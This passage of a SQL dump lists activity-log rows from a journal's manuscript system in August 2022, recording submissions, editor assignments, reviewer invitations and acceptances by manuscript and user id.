Manuscript',12876,'Editor',222),(119992,'2022-08-03 15:54:34','Editor has Accepted to review Manuscript',12876,'Editor',222),(119993,'2022-08-03 15:54:49','Editor has been Editor Decision Accepted article',12876,'Editor',222),(119994,'2022-08-03 15:55:22','Editor has Accepted to review Manuscript',12877,'Editor',222),(119995,'2022-08-03 15:55:38','Editor has been Editor Decision Accepted article',12877,'Editor',222),(119996,'2022-08-03 15:55:38','Editor has been Editor Decision Accepted article',12877,'Editor',222),(119997,'2022-08-03 15:56:24','Editor has been Editor Decision Accepted article',12877,'Editor',222),(119998,'2022-08-03 15:56:43','Editor has been Editor Decision Accepted article',12876,'Editor',222),(119999,'2022-08-03 15:56:58','Editor has been Editor Decision Accepted article',12872,'Editor',222),(120000,'2022-08-03 15:57:16','Editor has been Editor Decision Accepted article',12671,'Editor',222),(120001,'2022-08-03 15:57:35','Editor has been Editor Decision Accepted article',11481,'Editor',222),(120002,'2022-08-03 17:17:39','Editor has been Editor Decision Accepted article',12840,'Editor',193),(120003,'2022-08-03 17:18:35','Publisher has been Accepted Articles  article',12840,'Publisher',48),(120004,'2022-08-03 17:25:54','Manuscript Submitted by Author using Submission form',12899,'Author',13119),(120005,'2022-08-04 10:05:32','Manuscript Submitted by Author using Submission form',12900,'Author',13120),(120006,'2022-08-04 11:01:56','Manuscript Submitted by Author using Submission form',12901,'Author',13121),(120007,'2022-08-08 11:51:31','Manuscript Submitted by Author using Submission form',12902,'Author',13124),(120008,'2022-08-08 12:02:37','Manuscript Submitted by Author using Submission form',12903,'Author',13125),(120009,'2022-08-08 12:08:09','Manuscript Submitted by Author using Submission form',12904,'Author',13126),(120010,'2022-08-08 13:36:09','Manuscript Submitted by Author using Submission form',12905,'Author',13127),(120011,'2022-08-08 16:35:29','Publisher has been Assigned Editor',12899,'Publisher',988),(120012,'2022-08-08 16:50:36','Manuscript Updated',12899,'Publisher',988),(120013,'2022-08-08 16:51:46','Publisher has been Accepted Articles  article',12899,'Publisher',988),(120014,'2022-08-08 16:55:12','Manuscript Submitted by Publisher',12907,'Publisher',988),(120015,'2022-08-09 10:23:01','Publisher has been Assigned Editor',12882,'Publisher',673),(120016,'2022-08-09 10:23:17','Publisher has been Assigned Editor',12880,'Publisher',673),(120017,'2022-08-09 10:23:32','Publisher has been Assigned Editor',12881,'Publisher',673),(120018,'2022-08-09 10:23:46','Publisher has been Assigned Editor',12879,'Publisher',673),(120019,'2022-08-09 10:24:05','Publisher has been Assigned Editor',12878,'Publisher',673),(120020,'2022-08-09 10:25:16','Publisher has Invited Reviewer',12882,'Publisher',673),(120021,'2022-08-09 10:25:21','Publisher has Invited Reviewer',12882,'Publisher',673),(120022,'2022-08-09 10:25:26','Publisher has Invited Reviewer',12882,'Publisher',673),(120023,'2022-08-09 10:25:30','Publisher has Invited Reviewer',12882,'Publisher',673),(120024,'2022-08-09 10:25:35','Publisher has Invited Reviewer',12882,'Publisher',673),(120025,'2022-08-09 10:25:40','Publisher has Invited Reviewer',12882,'Publisher',673),(120026,'2022-08-09 10:25:45','Publisher has Invited Reviewer',12882,'Publisher',673),(120027,'2022-08-09 10:25:49','Publisher has Invited Reviewer',12882,'Publisher',673),(120028,'2022-08-09 10:25:55','Publisher has Invited Reviewer',12882,'Publisher',673),(120029,'2022-08-09 10:26:00','Publisher has Invited Reviewer',12882,'Publisher',673),(120030,'2022-08-09 10:26:05','Publisher has Invited Reviewer',12882,'Publisher',673),(120031,'2022-08-09 10:26:09','Publisher has Invited Reviewer',12882,'Publisher',673),(120032,'2022-08-09 10:26:14','Publisher has Invited Reviewer',12882,'Publisher',673),(120033,'2022-08-09 10:26:19','Publisher has Invited Reviewer',12882,'Publisher',673),(120034,'2022-08-09 10:26:23','Publisher has Invited Reviewer',12882,'Publisher',673),(120035,'2022-08-09 10:26:28','Publisher has Invited Reviewer',12882,'Publisher',673),(120036,'2022-08-09 10:26:33','Publisher has Invited Reviewer',12882,'Publisher',673),(120037,'2022-08-09 10:27:06','Publisher has Invited Reviewer',12882,'Publisher',673),(120038,'2022-08-09 10:27:11','Publisher has Invited Reviewer',12882,'Publisher',673),(120039,'2022-08-09 10:27:16','Publisher has Invited Reviewer',12882,'Publisher',673),(120040,'2022-08-09 10:27:20','Publisher has Invited Reviewer',12882,'Publisher',673),(120041,'2022-08-09 10:27:25','Publisher has Invited Reviewer',12882,'Publisher',673),(120042,'2022-08-09 10:28:24','Publisher has Invited Reviewer',12881,'Publisher',673),(120043,'2022-08-09 10:28:29','Publisher has Invited Reviewer',12881,'Publisher',673),(120044,'2022-08-09 10:28:33','Publisher has Invited Reviewer',12881,'Publisher',673),(120045,'2022-08-09 10:28:38','Publisher has Invited Reviewer',12881,'Publisher',673),(120046,'2022-08-09 10:28:43','Publisher has Invited Reviewer',12881,'Publisher',673),(120047,'2022-08-09 10:28:48','Publisher has Invited Reviewer',12881,'Publisher',673),(120048,'2022-08-09 10:28:53','Publisher has Invited Reviewer',12881,'Publisher',673),(120049,'2022-08-09 10:28:57','Publisher has Invited Reviewer',12881,'Publisher',673),(120050,'2022-08-09 10:29:02','Publisher has Invited Reviewer',12881,'Publisher',673),(120051,'2022-08-09 10:29:07','Publisher has Invited Reviewer',12881,'Publisher',673),(120052,'2022-08-09 10:29:12','Publisher has Invited Reviewer',12881,'Publisher',673),(120053,'2022-08-09 10:29:17','Publisher has Invited Reviewer',12881,'Publisher',673),(120054,'2022-08-09 10:29:22','Publisher has Invited Reviewer',12881,'Publisher',673),(120055,'2022-08-09 10:29:27','Publisher has Invited Reviewer',12881,'Publisher',673),(120056,'2022-08-09 10:29:32','Publisher has Invited Reviewer',12881,'Publisher',673),(120057,'2022-08-09 10:29:36','Publisher has Invited Reviewer',12881,'Publisher',673),(120058,'2022-08-09 10:29:41','Publisher has Invited Reviewer',12881,'Publisher',673),(120059,'2022-08-09 10:29:46','Publisher has Invited Reviewer',12881,'Publisher',673),(120060,'2022-08-09 10:29:51','Publisher has Invited Reviewer',12881,'Publisher',673),(120061,'2022-08-09 10:29:55','Publisher has Invited Reviewer',12881,'Publisher',673),(120062,'2022-08-09 10:30:00','Publisher has Invited Reviewer',12881,'Publisher',673),(120063,'2022-08-09 10:30:05','Publisher has Invited Reviewer',12881,'Publisher',673),(120064,'2022-08-09 10:32:17','Publisher has Invited Reviewer',12880,'Publisher',673),(120065,'2022-08-09 10:32:21','Publisher has Invited Reviewer',12880,'Publisher',673),(120066,'2022-08-09 10:32:26','Publisher has Invited Reviewer',12880,'Publisher',673),(120067,'2022-08-09 10:32:31','Publisher has Invited Reviewer',12880,'Publisher',673),(120068,'2022-08-09 10:32:36','Publisher has Invited Reviewer',12880,'Publisher',673),(120069,'2022-08-09 10:32:41','Publisher has Invited Reviewer',12880,'Publisher',673),(120070,'2022-08-09 10:32:46','Publisher has Invited Reviewer',12880,'Publisher',673),(120071,'2022-08-09 10:32:50','Publisher has Invited Reviewer',12880,'Publisher',673),(120072,'2022-08-09 10:32:57','Publisher has Invited Reviewer',12880,'Publisher',673),(120073,'2022-08-09 10:33:01','Publisher has Invited Reviewer',12880,'Publisher',673),(120074,'2022-08-09 10:33:06','Publisher has Invited Reviewer',12880,'Publisher',673),(120075,'2022-08-09 10:33:11','Publisher has Invited Reviewer',12880,'Publisher',673),(120076,'2022-08-09 10:33:17','Publisher has Invited Reviewer',12880,'Publisher',673),(120077,'2022-08-09 10:33:22','Publisher has Invited Reviewer',12880,'Publisher',673),(120078,'2022-08-09 10:34:19','Publisher has Invited Reviewer',12879,'Publisher',673),(120079,'2022-08-09 10:34:24','Publisher has Invited Reviewer',12879,'Publisher',673),(120080,'2022-08-09 10:34:30','Publisher has Invited Reviewer',12879,'Publisher',673),(120081,'2022-08-09 10:34:35','Publisher has Invited Reviewer',12879,'Publisher',673),(120082,'2022-08-09 10:34:40','Publisher has Invited Reviewer',12879,'Publisher',673),(120083,'2022-08-09 10:34:45','Publisher has Invited Reviewer',12879,'Publisher',673),(120084,'2022-08-09 10:34:50','Publisher has Invited Reviewer',12879,'Publisher',673),(120085,'2022-08-09 10:34:54','Publisher has Invited Reviewer',12879,'Publisher',673),(120086,'2022-08-09 10:34:59','Publisher has Invited Reviewer',12879,'Publisher',673),(120087,'2022-08-09 10:35:04','Publisher has Invited Reviewer',12879,'Publisher',673),(120088,'2022-08-09 10:35:09','Publisher has Invited Reviewer',12879,'Publisher',673),(120089,'2022-08-09 10:35:13','Publisher has Invited Reviewer',12879,'Publisher',673),(120090,'2022-08-09 10:35:18','Publisher has Invited Reviewer',12879,'Publisher',673),(120091,'2022-08-09 10:35:23','Publisher has Invited Reviewer',12879,'Publisher',673),(120092,'2022-08-09 10:35:28','Publisher has Invited Reviewer',12879,'Publisher',673),(120093,'2022-08-09 10:35:33','Publisher has Invited Reviewer',12879,'Publisher',673),(120094,'2022-08-09 10:35:38','Publisher has Invited Reviewer',12879,'Publisher',673),(120095,'2022-08-09 10:35:43','Publisher has Invited Reviewer',12879,'Publisher',673),(120096,'2022-08-09 10:35:48','Publisher has Invited Reviewer',12879,'Publisher',673),(120097,'2022-08-09 10:35:52','Publisher has Invited Reviewer',12879,'Publisher',673),(120098,'2022-08-09 10:35:57','Publisher has Invited Reviewer',12879,'Publisher',673),(120099,'2022-08-09 10:36:02','Publisher has Invited Reviewer',12879,'Publisher',673),(120100,'2022-08-09 10:37:25','Publisher has Invited Reviewer',12878,'Publisher',673),(120101,'2022-08-09 10:37:30','Publisher has Invited Reviewer',12878,'Publisher',673),(120102,'2022-08-09 10:37:35','Publisher has Invited Reviewer',12878,'Publisher',673),(120103,'2022-08-09 10:37:39','Publisher has Invited Reviewer',12878,'Publisher',673),(120104,'2022-08-09 10:37:44','Publisher has Invited Reviewer',12878,'Publisher',673),(120105,'2022-08-09 10:37:49','Publisher has Invited Reviewer',12878,'Publisher',673),(120106,'2022-08-09 10:37:54','Publisher has Invited Reviewer',12878,'Publisher',673),(120107,'2022-08-09 10:37:59','Publisher has Invited Reviewer',12878,'Publisher',673),(120108,'2022-08-09 10:38:04','Publisher has Invited Reviewer',12878,'Publisher',673),(120109,'2022-08-09 10:38:09','Publisher has Invited Reviewer',12878,'Publisher',673),(120110,'2022-08-09 10:38:55','Publisher has Invited Reviewer',12878,'Publisher',673),(120111,'2022-08-09 10:39:00','Publisher has Invited Reviewer',12878,'Publisher',673),(120112,'2022-08-09 10:39:05','Publisher has Invited Reviewer',12878,'Publisher',673),(120113,'2022-08-09 10:39:10','Publisher has Invited Reviewer',12878,'Publisher',673),(120114,'2022-08-09 10:39:14','Publisher has Invited Reviewer',12878,'Publisher',673),(120115,'2022-08-09 11:02:58','Publisher has been Assigned Editor',12900,'Publisher',645),(120116,'2022-08-09 11:45:56','Manuscript Updated',12900,'Publisher',645),(120117,'2022-08-09 11:46:24','Publisher has been Accepted Articles  article',12900,'Publisher',645),(120118,'2022-08-09 12:15:20','Publisher has been Accepted Articles  article',9436,'Publisher',645),(120119,'2022-08-09 13:49:52','Publisher has been Assigned Editor',12901,'Publisher',85),(120120,'2022-08-09 14:50:52','Manuscript Updated',10975,'Publisher',645),(120121,'2022-08-09 15:06:52','Publisher has been Accepted Articles  article',10975,'Publisher',645),(120122,'2022-08-09 15:39:00','Manuscript Updated',11280,'Publisher',645),(120123,'2022-08-09 17:29:11','Manuscript Submitted by Publisher',12911,'Publisher',988),(120124,'2022-08-09 18:21:40','Publisher has been Accepted Articles  article',11280,'Publisher',645),(120125,'2022-08-09 21:15:26','Manuscript Submitted by Author using Submission form',12912,'Author',13131),(120126,'2022-08-10 09:12:03','Publisher has Invited Reviewer',12901,'Publisher',85),(120127,'2022-08-10 09:12:09','Publisher has Invited Reviewer',12901,'Publisher',85),(120128,'2022-08-10 09:12:14','Publisher has Invited Reviewer',12901,'Publisher',85),(120129,'2022-08-10 09:12:19','Publisher has Invited Reviewer',12901,'Publisher',85),(120130,'2022-08-10 09:12:25','Publisher has Invited Reviewer',12901,'Publisher',85),(120131,'2022-08-10 09:12:29','Publisher has Invited Reviewer',12901,'Publisher',85),(120132,'2022-08-10 09:12:34','Publisher has Invited Reviewer',12901,'Publisher',85),(120133,'2022-08-10 09:12:39','Publisher has Invited Reviewer',12901,'Publisher',85),(120134,'2022-08-10 09:12:45','Publisher has Invited Reviewer',12901,'Publisher',85),(120135,'2022-08-10 09:12:50','Publisher has Invited Reviewer',12901,'Publisher',85),(120136,'2022-08-10 09:12:54','Publisher has Invited Reviewer',12901,'Publisher',85),(120137,'2022-08-10 09:12:59','Publisher has Invited Reviewer',12901,'Publisher',85),(120138,'2022-08-10 09:13:05','Publisher has Invited Reviewer',12901,'Publisher',85),(120139,'2022-08-10 09:13:09','Publisher has Invited Reviewer',12901,'Publisher',85),(120140,'2022-08-10 09:13:14','Publisher has Invited Reviewer',12901,'Publisher',85),(120141,'2022-08-10 09:13:19','Publisher has Invited Reviewer',12901,'Publisher',85),(120142,'2022-08-10 11:36:48','Manuscript Submitted by Author using Submission form',12913,'Author',13132),(120143,'2022-08-10 11:41:20','Manuscript Submitted by Author using Submission form',12914,'Author',13133),(120144,'2022-08-10 14:11:47','Editor has Accepted to review Manuscript',12882,'Editor',1456),(120145,'2022-08-10 14:13:13','Editor has Accepted to review Manuscript',12881,'Editor',1456),(120146,'2022-08-10 14:13:51','Editor has Accepted to review Manuscript',12879,'Editor',1456),(120147,'2022-08-10 14:14:24','Editor has Accepted to review Manuscript',12295,'Editor',1456),(120148,'2022-08-10 14:16:16','Editor has Accepted to review Manuscript',12880,'Editor',1370),(120149,'2022-08-10 14:16:34','Editor has Invited Reviewer',12880,'Editor',1370),(120150,'2022-08-10 14:16:39','Editor has Invited Reviewer',12880,'Editor',1370),(120151,'2022-08-10 14:16:44','Editor has Invited Reviewer',12880,'Editor',1370),(120152,'2022-08-10 14:16:49','Editor has Invited Reviewer',12880,'Editor',1370),(120153,'2022-08-10 14:16:53','Editor has Invited Reviewer',12880,'Editor',1370),(120154,'2022-08-10 14:16:58','Editor has Invited Reviewer',12880,'Editor',1370),(120155,'2022-08-10 14:17:03','Editor has Invited Reviewer',12880,'Editor',1370),(120156,'2022-08-10 14:17:07','Editor has Invited Reviewer',12880,'Editor',1370),(120157,'2022-08-10 14:18:38','Editor has Accepted to review Manuscript',12841,'Editor',1732),(120158,'2022-08-10 14:18:59','Editor has Accepted to review Manuscript',12878,'Editor',1732),(120159,'2022-08-10 14:19:26','Editor has Invited Reviewer',12878,'Editor',1732),(120160,'2022-08-10 14:19:31','Editor has Invited Reviewer',12878,'Editor',1732),(120161,'2022-08-10 14:19:36','Editor has Invited Reviewer',12878,'Editor',1732),(120162,'2022-08-10 14:20:30','Editor has Accepted to review Manuscript',12811,'Editor',1732),(120163,'2022-08-10 14:20:52','Editor has Invited Reviewer',12811,'Editor',1732),(120164,'2022-08-10 14:20:57','Editor has Invited Reviewer',12811,'Editor',1732),(120165,'2022-08-10 14:21:01','Editor has Invited Reviewer',12811,'Editor',1732),(120166,'2022-08-10 14:21:06','Editor has Invited Reviewer',12811,'Editor',1732),(120167,'2022-08-10 14:21:11','Editor has Invited Reviewer',12811,'Editor',1732),(120168,'2022-08-10 14:21:16','Editor has Invited Reviewer',12811,'Editor',1732),(120169,'2022-08-10 14:21:21','Editor has Invited Reviewer',12811,'Editor',1732),(120170,'2022-08-10 14:21:25','Editor has Invited Reviewer',12811,'Editor',1732),(120171,'2022-08-10 14:21:30','Editor has Invited Reviewer',12811,'Editor',1732),(120172,'2022-08-10 14:21:35','Editor has Invited Reviewer',12811,'Editor',1732),(120173,'2022-08-10 14:21:40','Editor has Invited Reviewer',12811,'Editor',1732),(120174,'2022-08-10 14:21:44','Editor has Invited Reviewer',12811,'Editor',1732),(120175,'2022-08-10 14:21:49','Editor has Invited Reviewer',12811,'Editor',1732),(120176,'2022-08-10 14:22:03','Editor has Accepted to review Manuscript',12791,'Editor',1732),(120177,'2022-08-10 14:22:21','Editor has Invited Reviewer',12791,'Editor',1732),(120178,'2022-08-10 14:22:26','Editor has Invited Reviewer',12791,'Editor',1732),(120179,'2022-08-10 14:22:31','Editor has Invited Reviewer',12791,'Editor',1732),(120180,'2022-08-10 14:22:36','Editor has Invited Reviewer',12791,'Editor',1732),(120181,'2022-08-10 14:22:40','Editor has Invited Reviewer',12791,'Editor',1732),(120182,'2022-08-10 14:22:45','Editor has Invited Reviewer',12791,'Editor',1732),(120183,'2022-08-10 14:22:50','Editor has Invited Reviewer',12791,'Editor',1732),(120184,'2022-08-10 14:22:55','Editor has Invited Reviewer',12791,'Editor',1732),(120185,'2022-08-10 14:22:59','Editor has Invited Reviewer',12791,'Editor',1732),(120186,'2022-08-10 14:23:04','Editor has Invited Reviewer',12791,'Editor',1732),(120187,'2022-08-10 14:23:09','Editor has Invited Reviewer',12791,'Editor',1732),(120188,'2022-08-10 14:23:13','Editor has Invited Reviewer',12791,'Editor',1732),(120189,'2022-08-10 14:23:18','Editor has Invited Reviewer',12791,'Editor',1732),(120190,'2022-08-10 14:23:23','Editor has Invited Reviewer',12791,'Editor',1732),(120191,'2022-08-10 14:23:28','Editor has Invited Reviewer',12791,'Editor',1732),(120192,'2022-08-10 14:23:33','Editor has Invited Reviewer',12791,'Editor',1732),(120193,'2022-08-10 14:23:37','Editor has Invited Reviewer',12791,'Editor',1732),(120194,'2022-08-10 14:23:42','Editor has Invited Reviewer',12791,'Editor',1732),(120195,'2022-08-10 14:23:47','Editor has Invited Reviewer',12791,'Editor',1732),(120196,'2022-08-10 14:23:52','Editor has Invited Reviewer',12791,'Editor',1732),(120197,'2022-08-10 14:23:56','Editor has Invited Reviewer',12791,'Editor',1732),(120198,'2022-08-10 14:24:01','Editor has Invited Reviewer',12791,'Editor',1732),(120199,'2022-08-10 14:29:07','Publisher has Invited Reviewer',12295,'Publisher',673),(120200,'2022-08-10 14:29:12','Publisher has Invited Reviewer',12295,'Publisher',673),(120201,'2022-08-10 14:29:16','Publisher has Invited Reviewer',12295,'Publisher',673),(120202,'2022-08-10 14:29:21','Publisher has Invited Reviewer',12295,'Publisher',673),(120203,'2022-08-10 14:29:26','Publisher has Invited Reviewer',12295,'Publisher',673),(120204,'2022-08-10 14:29:31','Publisher has Invited Reviewer',12295,'Publisher',673),(120205,'2022-08-10 14:29:35','Publisher has Invited Reviewer',12295,'Publisher',673),(120206,'2022-08-10 14:29:40','Publisher has Invited Reviewer',12295,'Publisher',673),(120207,'2022-08-10 14:29:45','Publisher has Invited Reviewer',12295,'Publisher',673),(120208,'2022-08-10 14:29:50','Publisher has Invited Reviewer',12295,'Publisher',673),(120209,'2022-08-10 14:29:54','Publisher has Invited Reviewer',12295,'Publisher',673),(120210,'2022-08-10 14:29:59','Publisher has Invited Reviewer',12295,'Publisher',673),(120211,'2022-08-10 14:30:04','Publisher has Invited Reviewer',12295,'Publisher',673),(120212,'2022-08-10 14:30:09','Publisher has Invited Reviewer',12295,'Publisher',673),(120213,'2022-08-10 14:30:14','Publisher has Invited Reviewer',12295,'Publisher',673),(120214,'2022-08-10 14:30:19','Publisher has Invited Reviewer',12295,'Publisher',673),(120215,'2022-08-10 14:30:24','Publisher has Invited Reviewer',12295,'Publisher',673),(120216,'2022-08-10 14:30:28','Publisher has Invited Reviewer',12295,'Publisher',673),(120217,'2022-08-10 14:30:33','Publisher has Invited Reviewer',12295,'Publisher',673),(120218,'2022-08-10 14:30:38','Publisher has Invited Reviewer',12295,'Publisher',673),(120219,'2022-08-10 14:30:43','Publisher has Invited Reviewer',12295,'Publisher',673),(120220,'2022-08-10 14:30:47','Publisher has Invited Reviewer',12295,'Publisher',673),(120221,'2022-08-10 15:08:25','Publisher has been Assigned Editor',12897,'Publisher',248),(120222,'2022-08-10 15:08:47','Publisher has been Assigned Editor',12898,'Publisher',248),(120223,'2022-08-10 15:24:18','Manuscript Updated',12898,'Publisher',248),(120224,'2022-08-10 15:24:45','Publisher has been Accepted Articles  article',12898,'Publisher',248),(120225,'2022-08-11 11:01:06','Manuscript Updated',12897,'Publisher',248),(120226,'2022-08-11 11:01:36','Publisher has been Accepted Articles  article',12897,'Publisher',248),(120227,'2022-08-11 11:03:09','Publisher has been Accepted Articles  article',12897,'Publisher',248),(120228,'2022-08-11 11:03:54','Publisher has been Accepted Articles  article',12897,'Publisher',248),(120229,'2022-08-11 13:12:18','Manuscript Submitted by Author using Submission form',12916,'Author',13134),(120230,'2022-08-11 14:22:16','Publisher has been Assigned Editor',12911,'Publisher',988),(120231,'2022-08-11 14:22:44','Publisher has been Assigned Editor',12907,'Publisher',988),(120232,'2022-08-11 14:23:01','Publisher has been Assigned Editor',12905,'Publisher',988),(120233,'2022-08-11 14:23:38','Publisher has Invited Reviewer',12911,'Publisher',988),(120234,'2022-08-11 14:23:43','Publisher has Invited Reviewer',12911,'Publisher',988),(120235,'2022-08-11 14:23:48','Publisher has Invited Reviewer',12911,'Publisher',988),(120236,'2022-08-11 14:23:52','Publisher has Invited Reviewer',12911,'Publisher',988),(120237,'2022-08-11 14:23:57','Publisher has Invited Reviewer',12911,'Publisher',988),(120238,'2022-08-11 14:24:02','Publisher has Invited Reviewer',12911,'Publisher',988),(120239,'2022-08-11 14:24:35','Publisher has Invited Reviewer',12905,'Publisher',988),(120240,'2022-08-11 14:24:40','Publisher has Invited Reviewer',12905,'Publisher',988),(120241,'2022-08-11 14:24:45','Publisher has Invited Reviewer',12905,'Publisher',988),(120242,'2022-08-11 14:24:49','Publisher has Invited Reviewer',12905,'Publisher',988),(120243,'2022-08-11 14:24:54','Publisher has Invited Reviewer',12905,'Publisher',988),(120244,'2022-08-11 14:25:37','Publisher has Invited Reviewer',12907,'Publisher',988),(120245,'2022-08-11 14:25:42','Publisher has Invited Reviewer',12907,'Publisher',988),(120246,'2022-08-11 14:25:47','Publisher has Invited Reviewer',12907,'Publisher',988),(120247,'2022-08-11 14:25:52','Publisher has Invited Reviewer',12907,'Publisher',988),(120248,'2022-08-11 14:25:57','Publisher has Invited Reviewer',12907,'Publisher',988),(120249,'2022-08-12 10:03:17','Manuscript Submitted by Author using Submission form',12918,'Author',13136),(120250,'2022-08-12 10:44:30','Publisher has Invited Reviewer',12905,'Publisher',988),(120251,'2022-08-12 10:44:35','Publisher has Invited Reviewer',12905,'Publisher',988),(120252,'2022-08-12 10:44:40','Publisher has Invited Reviewer',12905,'Publisher',988),(120253,'2022-08-12 10:44:44','Publisher has Invited Reviewer',12905,'Publisher',988),(120254,'2022-08-12 10:44:49','Publisher has Invited Reviewer',12905,'Publisher',988),(120255,'2022-08-12 10:44:54','Publisher has Invited Reviewer',12905,'Publisher',988),(120256,'2022-08-12 10:44:59','Publisher has Invited Reviewer',12905,'Publisher',988),(120257,'2022-08-12 10:45:03','Publisher has Invited Reviewer',12905,'Publisher',988),(120258,'2022-08-12 10:45:08','Publisher has Invited Reviewer',12905,'Publisher',988),(120259,'2022-08-12 10:45:13','Publisher has Invited Reviewer',12905,'Publisher',988),(120260,'2022-08-12 10:45:18','Publisher has Invited Reviewer',12905,'Publisher',988),(120261,'2022-08-12 10:45:23','Publisher has Invited Reviewer',12905,'Publisher',988),(120262,'2022-08-12 10:45:28','Publisher has Invited Reviewer',12905,'Publisher',988),(120263,'2022-08-12 10:45:32','Publisher has Invited Reviewer',12905,'Publisher',988),(120264,'2022-08-12 10:45:37','Publisher has Invited Reviewer',12905,'Publisher',988),(120265,'2022-08-12 10:45:42','Publisher has Invited Reviewer',12905,'Publisher',988),(120266,'2022-08-12 10:45:47','Publisher has Invited Reviewer',12905,'Publisher',988),(120267,'2022-08-12 13:30:00','Manuscript Submitted by Author using Submission form',12919,'Author',13137),(120268,'2022-08-12 14:21:14','Manuscript Submitted by Author using Submission form',12920,'Author',13138),(120269,'2022-08-12 14:29:24','Manuscript Submitted by Author using Submission form',12921,'Author',13139),(120270,'2022-08-12 14:34:03','Manuscript Submitted by Author using Submission form',12922,'Author',13140),(120271,'2022-08-12 18:13:47','Manuscript Submitted by Author using Submission form',12923,'Author',13141),(120272,'2022-08-12 18:15:31','Publisher has been Accepted Articles  article',12662,'Publisher',248),(120273,'2022-08-12 22:36:11','Manuscript Submitted by Author using Submission form',12924,'Author',13142),(120274,'2022-08-14 15:28:38','Editor has Accepted to review Manuscript',12868,'Editor',1783),(120275,'2022-08-14 15:29:02','Editor has Accepted to review Manuscript',12883,'Editor',1783),(120276,'2022-08-14 15:29:43','Editor has Invited Reviewer',12883,'Editor',1783),(120277,'2022-08-14 15:29:48','Editor has Invited Reviewer',12883,'Editor',1783),(120278,'2022-08-14 15:29:53','Editor has Invited Reviewer',12883,'Editor',1783),(120279,'2022-08-14 15:29:58','Editor has Invited Reviewer',12883,'Editor',1783),(120280,'2022-08-14 15:30:03','Editor has Invited Reviewer',12883,'Editor',1783),(120281,'2022-08-14 15:30:08','Editor has Invited Reviewer',12883,'Editor',1783),(120282,'2022-08-14 15:30:13','Editor has Invited Reviewer',12883,'Editor',1783),(120283,'2022-08-14 15:30:18','Editor has Invited Reviewer',12883,'Editor',1783),(120284,'2022-08-14 15:30:22','Editor has Invited Reviewer',12883,'Editor',1783),(120285,'2022-08-14 15:30:27','Editor has Invited Reviewer',12883,'Editor',1783),(120286,'2022-08-14 15:30:32','Editor has Invited Reviewer',12883,'Editor',1783),(120287,'2022-08-14 15:30:37','Editor has Invited Reviewer',12883,'Editor',1783),(120288,'2022-08-14 15:30:42','Editor has Invited Reviewer',12883,'Editor',1783),(120289,'2022-08-14 15:30:46','Editor has Invited Reviewer',12883,'Editor',1783),(120290,'2022-08-14 15:30:51','Editor has Invited Reviewer',12883,'Editor',1783),(120291,'2022-08-14 15:30:56','Editor has Invited Reviewer',12883,'Editor',1783),(120292,'2022-08-14 15:31:01','Editor has Invited Reviewer',12883,'Editor',1783),(120293,'2022-08-14 15:31:06','Editor has Invited Reviewer',12883,'Editor',1783),(120294,'2022-08-14 15:32:23','Editor has Invited Reviewer',12868,'Editor',1783),(120295,'2022-08-14 15:32:28','Editor has Invited Reviewer',12868,'Editor',1783),(120296,'2022-08-14 15:32:33','Editor has Invited Reviewer',12868,'Editor',1783),(120297,'2022-08-14 15:32:38','Editor has Invited Reviewer',12868,'Editor',1783),(120298,'2022-08-14 15:32:43','Editor has Invited Reviewer',12868,'Editor',1783),(120299,'2022-08-14 15:32:48','Editor has Invited Reviewer',12868,'Editor',1783),(120300,'2022-08-14 15:32:53','Editor has Invited Reviewer',12868,'Editor',1783),(120301,'2022-08-14 15:32:58','Editor has Invited Reviewer',12868,'Editor',1783),(120302,'2022-08-14 15:33:02','Editor has Invited Reviewer',12868,'Editor',1783),(120303,'2022-08-14 15:33:25','Editor has Accepted to review Manuscript',12905,'Editor',1783),(120304,'2022-08-14 15:34:45','Editor has Invited Reviewer',12905,'Editor',1783),(120305,'2022-08-14 15:34:49','Editor has Invited Reviewer',12905,'Editor',1783),(120306,'2022-08-15 09:57:21','Manuscript Submitted by Author',12925,'Author',13145),(120307,'2022-08-15 16:27:56','Author sent Email',12822,'Author',13043),(120308,'2022-08-16 09:35:42','Manuscript Submitted by Publisher',12926,'Publisher',988),(120309,'2022-08-16 10:58:17','Publisher has been Assigned Editor',12912,'Publisher',48),(120310,'2022-08-16 11:05:25','Manuscript Updated',12865,'Publisher',376),(120311,'2022-08-16 11:06:25','Publisher has been Accepted Articles  article',12865,'Publisher',376),(120312,'2022-08-16 11:22:19','Manuscript Updated',12892,'Publisher',376),(120313,'2022-08-16 11:23:10','Publisher has been Accepted Articles  article',12892,'Publisher',376),(120314,'2022-08-16 11:42:17','Reviewer has submitted comments',12905,'Reviewer',20788),(120315,'2022-08-16 13:59:41','Publisher has been Assigned Editor',12916,'Publisher',972),(120316,'2022-08-16 14:02:56','Publisher has been Assigned Editor',12917,'Publisher',972),(120317,'2022-08-16 14:05:11','Publisher has been Assigned Editor',12921,'Publisher',972),(120318,'2022-08-16 14:05:41','Publisher has been Assigned Editor',12920,'Publisher',972),(120319,'2022-08-16 14:06:20','Publisher has Invited Reviewer',12921,'Publisher',972),(120320,'2022-08-16 14:07:06','Publisher has Invited Reviewer',12920,'Publisher',972),(120321,'2022-08-16 14:13:55','Publisher has Invited Reviewer',12917,'Publisher',972),(120322,'2022-08-16 15:16:02','Manuscript Updated',12884,'Publisher',376),(120323,'2022-08-16 15:18:35','Publisher has been Accepted Articles  article',12884,'Publisher',376),(120324,'2022-08-16 15:19:18','Publisher has been Assigned Editor',12918,'Publisher',988),(120325,'2022-08-16 15:19:36','Publisher has been Assigned Editor',12919,'Publisher',988),(120326,'2022-08-16 15:20:21','Publisher has Invited Reviewer',12919,'Publisher',988),(120327,'2022-08-16 15:20:27','Publisher has Invited Reviewer',12919,'Publisher',988),(120328,'2022-08-16 15:20:32','Publisher has Invited Reviewer',12919,'Publisher',988),(120329,'2022-08-16 15:20:37','Publisher has Invited Reviewer',12919,'Publisher',988),(120330,'2022-08-16 15:20:42','Publisher has Invited Reviewer',12919,'Publisher',988),(120331,'2022-08-16 15:20:47','Publisher has Invited Reviewer',12919,'Publisher',988),(120332,'2022-08-16 15:20:52','Publisher has Invited Reviewer',12919,'Publisher',988),(120333,'2022-08-16 15:20:57','Publisher has Invited Reviewer',12919,'Publisher',988),(120334,'2022-08-16 15:21:02','Publisher has Invited Reviewer',12919,'Publisher',988),(120335,'2022-08-16 15:21:07','Publisher has Invited Reviewer',12919,'Publisher',988),(120336,'2022-08-16 15:21:11','Publisher has Invited Reviewer',12919,'Publisher',988),(120337,'2022-08-16 15:21:46','Publisher has Invited Reviewer',12884,'Publisher',376),(120338,'2022-08-16 15:21:51','Publisher has Invited Reviewer',12884,'Publisher',376),(120339,'2022-08-16 15:21:55','Publisher has Invited Reviewer',12884,'Publisher',376),(120340,'2022-08-16 